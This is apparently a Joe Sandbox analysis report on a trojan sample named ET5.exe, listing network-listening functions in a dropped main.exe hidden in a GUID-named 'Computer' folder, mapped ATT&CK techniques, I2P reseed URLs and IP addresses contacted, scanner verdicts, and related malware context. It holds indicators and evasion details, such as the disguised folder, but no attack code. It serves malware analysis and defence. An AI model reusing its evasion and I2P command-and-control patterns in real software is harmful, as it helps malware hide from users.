Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915E549 listen,	22_2_00007FF8B915E549
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91A3A00 listen,	22_2_00007FF8B91A3A00
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91901A9 listen,	22_2_00007FF8B91901A9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9184F8A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8B9184F8A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA50CC19 listen,	22_2_00007FF8BA50CC19
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA50240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BA50240A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA51F900 listen,	22_2_00007FF8BA51F900
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFAB15FA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFAB15FA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFACB820 listen,	22_2_00007FF8BFACB820
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB5254A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFB5254A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB6E900 listen,	22_2_00007FF8BFB6E900
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8E2B9 listen,	22_2_00007FF8BFB8E2B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB81ADA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFB81ADA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFBA0920 listen,	22_2_00007FF8BFBA0920

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	1 Network Sniffing	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	2 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Service Execution	2 Valid Accounts	4 Windows Service	1 Timestomp	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	4 Windows Service	11 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Network Sniffing	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	1 Services File Permissions Weakness	1 Services File Permissions Weakness	1 File Deletion	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Masquerading	DCSync	1 Network Share Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	121 Security Software Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Access Token Manipulation	/etc/passwd and /etc/shadow	21 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Virtualization/Sandbox Evasion	Network Sniffing	2 Process Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	1 Application Window Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Users	Keylogging	1 System Owner/User Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Services File Permissions Weakness	GUI Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	100%	Avira	TR/AVI.Agent.jibab
C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	100%	Joe Sandbox ML
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	67%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\erT926ze	0%	ReversingLabs
C:\Windows\Temp\gBXHuZY0	0%	ReversingLabs

Source	Detection	Scanner	Label
https://i2p.ghativega.in/	0%	Avira URL Cloud	safe
https://netdb.i2p2.no/	100%	Avira URL Cloud	malware
https://reseed-fr.i2pd.xyz/	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	0%	Avira URL Cloud	safe
https://reseed.i2p-projekt.de/	0%	Avira URL Cloud	safe
https://i2p.novg.net/	0%	Avira URL Cloud	safe
https://i2pseed.creativecowpat.net:8443/	0%	Avira URL Cloud	safe
http://www.steema.com/linkIn/TeeChartForXE2	0%	Avira URL Cloud	safe
https://reseed.memcpy.io/	0%	Avira URL Cloud	safe
https://reseed.i2pgit.org/	100%	Avira URL Cloud	malware
http://127.0.0.1:8118	0%	Avira URL Cloud	safe
https://reseed.diva.exchange/	100%	Avira URL Cloud	malware
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtxyz/	0%	Avira URL Cloud	safe
http://www.steema.com/linkIn/TeeChartForXE2UH	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz/	0%	Avira URL Cloud	safe
http://identiguy.i2p/hosts.txt	0%	Avira URL Cloud	safe
http://www.steema.com/linkIn/TeeChartForXE2H	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://www2.mk16.de/	0%	Avira URL Cloud	safe
http://stats.i2p/cgi-bin/newhosts.txt	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3C	0%	Avira URL Cloud	safe
https://legit-website.com/i2pseeds.su3	0%	Avira URL Cloud	safe
https://i2p.mooo.com/netDb/	0%	Avira URL Cloud	safe
https://banana.incognet.io/	0%	Avira URL Cloud	safe
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	0%	Avira URL Cloud	safe
http://rus.i2p/hosts.txt	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txtySDD	0%	Avira URL Cloud	safe
https://reseed2.i2p.net/	100%	Avira URL Cloud	malware
https://reseed.stormycloud.org/	0%	Avira URL Cloud	safe
https://reseed.onion.im/	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.steema.com/linkIn/TeeChartForXE2	ET5.exe	false	Avira URL Cloud: safe	unknown
https://reseed-fr.i2pd.xyz/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://i2pseed.creativecowpat.net:8443/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://reseed.i2p-projekt.de/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
https://i2p.novg.net/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://netdb.i2p2.no/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: malware	unknown
https://reseed.memcpy.io/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://i2p.ghativega.in/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.i2pgit.org/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: malware	unknown
https://www2.mk16.de/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
http://www.steema.com/linkIn/TeeChartForXE2H	ET5.exe	false	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txt	update.pkg.10.dr, gBXHuZY0.22.dr	false	Avira URL Cloud: safe	unknown
https://reseed-pl.i2pd.xyz/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtxyz/	main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stats.i2p/cgi-bin/newhosts.txt	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
http://digitalbush.com/projects/masked-input-plugin/#license)	ET5.exe	false		high
http://127.0.0.1:8118	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
http://identiguy.i2p/hosts.txt	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
http://www.steema.com/linkIn/TeeChartForXE2UH	ET5.exe	false	Avira URL Cloud: safe	unknown
https://reseed.diva.exchange/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: malware	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3C	main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://legit-website.com/i2pseeds.su3	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
https://reseed.onion.im/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://i2p.mooo.com/netDb/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
https://reseed2.i2p.net/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: malware	unknown
http://reg.i2p/hosts.txtySDD	main.exe, 00000016.00000002.4536791919.000001B980F27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://banana.incognet.io/	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	true	Avira URL Cloud: safe	unknown
http://rus.i2p/hosts.txt	j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	false	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	update.pkg.10.dr, gBXHuZY0.22.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.178.163.167	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
139.129.17.126	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
45.141.101.45	unknown	Russian Federation	48347	MTW-ASRU	false
89.117.55.228	unknown	Lithuania	15419	LRTC-ASLT	false
79.246.173.34	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
174.2.11.191	unknown	Canada	6327	SHAWCA	false
101.184.38.180	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
102.130.123.16	unknown	South Africa	37153	xneeloZA	false
23.137.250.43	unknown	Reserved	397614	GTLAKESUS	true
45.61.165.224	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false
146.70.87.105	unknown	United Kingdom	2018	TENET-1ZA	false
95.84.200.6	unknown	Russian Federation	42610	NCNET-ASRU	false
121.98.12.248	unknown	New Zealand	9790	VOCUSGROUPNZVocusGroupNZ	false
195.252.220.165	unknown	Germany	61157	PLUSSERVER-ASN1DE	false
135.181.195.240	unknown	Germany	24940	HETZNER-ASDE	false
65.191.158.5	unknown	United States	11426	TWC-11426-CAROLINASUS	false
5.187.75.159	unknown	Russian Federation	44604	SVYAZ-TELECOM-ASRU	false
73.195.118.76	unknown	United States	7922	COMCAST-7922US	false
66.130.28.102	unknown	Canada	5769	VIDEOTRONCA	false
62.163.0.34	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
118.178.193.220	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
45.144.234.105	unknown	United Kingdom	44486	SYNLINQsynlinqdeDE	false
103.39.221.193	unknown	China	4816	CHINANET-IDC-GDChinaTelecomGroupCN	false
154.216.20.137	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
95.216.185.165	unknown	Germany	24940	HETZNER-ASDE	false
122.18.238.134	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
45.8.159.106	unknown	Russian Federation	49392	ASBAXETNRU	false
72.221.27.46	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
94.63.209.161	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
209.126.85.115	unknown	United States	6428	CDMUS	false
130.185.251.21	unknown	Bulgaria	203380	DAINTERNATIONALGROUPGB	false
178.208.86.162	unknown	Russian Federation	48282	VDSINA-ASRU	false
120.155.52.253	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
45.202.33.26	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
62.113.245.76	unknown	Germany	47447	TTMDE	false
2.24.224.185	unknown	United Kingdom	12576	EELtdGB	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570047
Start date and time:	2024-12-06 14:18:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ET5.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@38/76@0/37
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ET5.exe, PID 7092 because there are no executed function
Execution Graph export aborted for target j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, PID 6128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: ET5.exe

Simulations

Behavior and APIs

Time	Type	Description
08:19:39	API Interceptor	271x Sleep call for process: ET5.exe modified
08:19:40	API Interceptor	43x Sleep call for process: powershell.exe modified
08:20:38	API Interceptor	3143792x Sleep call for process: main.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
146.70.87.105	https://view.monday.com/4695735308-1bc1d553c209c424d366f1c4a33116f0?r=use1	Get hash	malicious	HTMLPhisher	Browse
146.70.87.105	https://view.monday.com/4690221033-540df5172a83b99184ed7cfbfd759811?r=use1	Get hash	malicious	HTMLPhisher	Browse
130.185.251.21	file.exe	Get hash	malicious	Vidar	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DCI-ASIR	mpsl.elf	Get hash	malicious	Unknown	Browse	2.178.185.185
	main_arm.elf	Get hash	malicious	Mirai	Browse	89.219.67.159
	f5TWdT5EAc.exe	Get hash	malicious	Phorpiex, RHADAMANTHYS, Xmrig	Browse	2.177.40.206
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	217.218.36.181
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	217.218.164.20
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	89.219.67.182
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	5.74.155.115
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	93.119.76.0
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	195.181.10.204
	newtpp.exe	Get hash	malicious	Xmrig	Browse	2.177.228.237
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	main_sh4.elf	Get hash	malicious	Mirai	Browse	140.205.153.120
	32.exe	Get hash	malicious	CobaltStrike	Browse	8.138.173.127
	32http.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	8.138.173.127
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	8.185.18.61
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	8.166.54.185
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.79.228.35
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	60.205.234.218
	31#U544a.exe	Get hash	malicious	CobaltStrike	Browse	118.31.219.225
	UhEi3Rge75.exe	Get hash	malicious	Unknown	Browse	123.60.37.61
	m68k.elf	Get hash	malicious	Mirai	Browse	8.152.225.233
